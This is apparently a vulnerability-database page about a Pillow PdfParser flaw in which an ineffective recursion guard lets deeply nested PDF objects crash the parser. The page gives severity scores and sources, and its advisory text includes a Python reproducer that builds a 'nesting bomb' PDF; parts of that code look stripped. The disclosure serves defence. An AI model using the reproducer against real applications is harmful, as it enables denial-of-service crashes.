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Response snapshot Oct 27, 2026, 03:03 UTC

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VulnerabilityCVE-2026-112391

Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()

This is a classmethod that takes `max_nesting: int = -1` and has a guard: ```python if max_nesting == 0: return None, None ```

Published Updated

At a glance

Exploited
Not known
Severity
6.3 Medium (CVSS 4.0)
Chance of exploitation
0.6% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-254f-3936-288h (opens a new tab)

What happened

### Summary `PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp= , format="PDF", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

### Details **`get_value()` in `src/PIL/PdfParser.py`**

This is a classmethod that takes `max_nesting: int = -1` and has a guard:

```python if max_nesting == 0: return None, None ```

Continue reading

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit.

It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported.

The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .

### Steps to reproduce Both PDFs below are plain text, built directly in Python, no PDF library needed.

```python from PIL.PdfParser import PdfParser

def build_pdf(root): out = bytearray(b"%PDF-1.4\n") offset = len(out) out += f"1 0 obj\n".encode() out += root out += b"\nendobj\n" out += b"xref\n" out += f"0 2\n".encode() out += b"0000000000 65535 f \n" out += f"{offset:010d} 00000 ".encode() + b"n \n" xref_offset = len(out) out += b"xref\n" out += f"0 2\n".encode() out += b"0000000000 65535 f \n" out += f"{offset:010d} 00000 ".

encode() + b"n \n" out += b"trailer\n" out += f" >\n".encode() out += b"startxref\n" out += f"{xref_offset}\n".encode() out += b"%%EOF" return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000 root = b" >" with open("nesting_bomb.pdf", "wb") as f: f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf") # raises RecursionError ```

Expected: a clean `PdfFormatError`.

Actual: raises a raw `RecursionError: maximum recursion depth exceeded`.

### Impact - Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format="PDF", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none. - Integrity: none. - Pillow cannot open PDFs for reading through `Image.open()`.

`PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

Affected package ranges reported by GitHub: Pillow: >= 5.1.0, < 13.0.0

Scores and how they were measured

CVSS base severity

6.3

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.6%

Scored Percentile 47.5%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-254f-3936-288h (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    NVD CVE-2026-112391 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  13. Primary source

    Vendor advisory (via NVD references) (opens a new tab)

    The vendor advisory referenced by the CVE record, for affected versions and fixes.

    Published Date not suppliedChecked

  14. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  15. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-112391, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() (CVE-2026-112391). https://kevwire.com/record/CVE-2026-112391

MLA

"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() (CVE-2026-112391)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-112391.

Chicago

KEVWire. "Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() (CVE-2026-112391)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-112391.

Evidence summary (plain text)

Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() (Oct 21, 2026).
This is a classmethod that takes `max_nesting: int = -1` and has a guard:

```python
if max_nesting == 0:
 return None, None
```
CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112391).
EPSS 0.6% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112391&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-254f-3936-288h: https://github.com/advisories/GHSA-254f-3936-288h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112391: https://nvd.nist.gov/vuln/detail/CVE-2026-112391
Vendor advisory (via NVD references): https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112391&date=2026-10-26
Record ID: CVE-2026-112391.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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